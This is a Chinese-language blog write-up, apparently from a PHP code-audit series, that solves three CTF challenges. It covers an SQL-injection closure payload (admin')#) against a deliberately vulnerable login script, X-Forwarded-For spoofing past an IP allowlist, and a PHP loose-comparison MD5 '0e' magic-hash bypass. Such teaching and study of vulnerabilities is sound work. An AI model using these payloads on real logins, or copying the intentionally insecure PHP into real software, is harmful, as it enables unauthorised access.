zoukankan      html  css  js  c++  java
  • PHP代码审计分段讲解(5)

    11 sql闭合绕过

    源代码为

    <?php
    
    
    if($_POST[user] && $_POST[pass]) {
        $conn = mysql_connect("*******", "****", "****");
        mysql_select_db("****") or die("Could not select database");
        if ($conn->connect_error) {
            die("Connection failed: " . mysql_error($conn));
    } 
    $user = $_POST[user];
    $pass = md5($_POST[pass]);
    
    //select user from php where (user='admin')#
    
    //exp:admin')#
    
    $sql = "select user from php where (user='$user') and (pw='$pass')";
    $query = mysql_query($sql);
    if (!$query) {
        printf("Error: %s
    ", mysql_error($conn));
        exit();
    }
    $row = mysql_fetch_array($query, MYSQL_ASSOC);
    //echo $row["pw"];
      if($row['user']=="admin") {
        echo "<p>Logged in! Key: *********** </p>";
      }
    
      if($row['user'] != "admin") {
        echo("<p>You are not admin!</p>");
      }
    }
    
    ?>

    POST方式传入user和pass的值,同时连接数据库

    if($_POST[user] && $_POST[pass]) {
        $conn = mysql_connect("*******", "****", "****");
        mysql_select_db("****") or die("Could not select database");
        if ($conn->connect_error) {
            die("Connection failed: " . mysql_error($conn));
    } 
    $user = $_POST[user];
    $pass = md5($_POST[pass]);

    将pass的值使用md5处理重新赋值,接着使用sql语句进行查询

    $sql = "select user from php where (user='$user') and (pw='$pass')";

    查询成功后进入判断

      if($row['user']=="admin") {
        echo "<p>Logged in! Key: *********** </p>";
      }

    这里可以看到,登录的时候只对查询出结果里面的user进行了判断,当其的值为admin的时候,登录成功,并没有进行密码的校验

    所以我们只需要闭合前面的SQL查询语句,令user=admin即可

    所以payload为:

    admin')#

    密码输入什么都无所谓

    sql语句最后变成了这样:

    $sql = "select user from php where (user='admin')#') and (pw='$pass')";

    也就是

    $sql = "select user from php where (user='admin')

    登录即可获取flag

     

    12 X-Forwarded-For绕过指定IP地址

    源代码为:

    <?php
    function GetIP(){
    if(!empty($_SERVER["HTTP_CLIENT_IP"]))
        $cip = $_SERVER["HTTP_CLIENT_IP"];
    else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
        $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
    else if(!empty($_SERVER["REMOTE_ADDR"]))
        $cip = $_SERVER["REMOTE_ADDR"];
    else
        $cip = "0.0.0.0";
    return $cip;
    }
    
    $GetIPs = GetIP();
    if ($GetIPs=="1.1.1.1"){
    echo "Great! Key is *********";
    }
    else{
    echo "错误!你的IP不在访问列表之内!";
    }
    ?>

    第一次遇到伪造IP的题目是在BugKu的做题平台上,这里的代码使用HTTP头里面的IP信息来进行IP访问列表的判断,而HTTP头的信息是可以通过我们抓包改变的。

    这里我们跟题目一样,使用X_FORWARDED_FOR来进行IP的伪造

    在请求头里面添加:X-Forwarded-For: 1.1.1.1

    即可获取flag

     

    13 md5加密相等绕过

    <?php
    
    $md51 = md5('QNKCDZO');
    $a = @$_GET['a'];
    $md52 = @md5($a);
    if(isset($a)){
    if ($a != 'QNKCDZO' && $md51 == $md52) {
        echo "nctf{*****************}";
    } else {
        echo "false!!!";
    }}
    else{echo "please input a";}
    
    ?>

    将 QNKCDZO MD5加密后,使用GET方式传入a的值,将a进行MD5加密,获取flag的条件为:

    if ($a != 'QNKCDZO' && $md51 == $md52) {

    传入的a不能为QNKCDZO,有需要令两者的md5加密后的值相等,这里需要用到MD5碰撞的知识

    我们重新梳理一遍代码

    $md51 = md5('QNKCDZO');

    获得的md51的值为

    0e830400451993494058024219903391

    有意思的地方在于,这串字符串转换成为数字的话,按照科学计数法,它是0的830400451993494058024219903391次方,虽然看上去很大,但是由于底数为0,所以结果也是0,而比较两个md5值的时候是

    $md51 == $md52

    两个等号时会先进行类型转换,所以我们只需要找到一个md5值也是0e开头的字符串即可,这样它的md5加密结果科学计数法也会是0

    当然这个也不需要找了,因为已经有大佬找好了:

    https://blog.csdn.net/qq_38603541/article/details/97108663

    我们选择其中的一个即可

    获得flag

     

  • 相关阅读:
    Spring boot中使用log4j
    Spring Boot多数据源配置与使用
    Spring Boot中Web应用的统一异常处理
    Spring Boot中使用Redis数据库
    Spring Boot日志管理
    Spring Boot中使用@Async实现异步调用
    Spring Boot中使用@Scheduled创建定时任务
    正则表达式匹配不包含某些字符串
    Spring Boot中使用JdbcTemplate访问数据库
    Selenium2学习-024-WebUI自动化实战实例-022-网站不同分辨率下页面样式展示兼容性问题解决方案 -- 设置浏览器显示区域大小(无人值守,节约测试成本的福音,BOSS 最爱)
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/13254459.html
Copyright © 2011-2022 走看看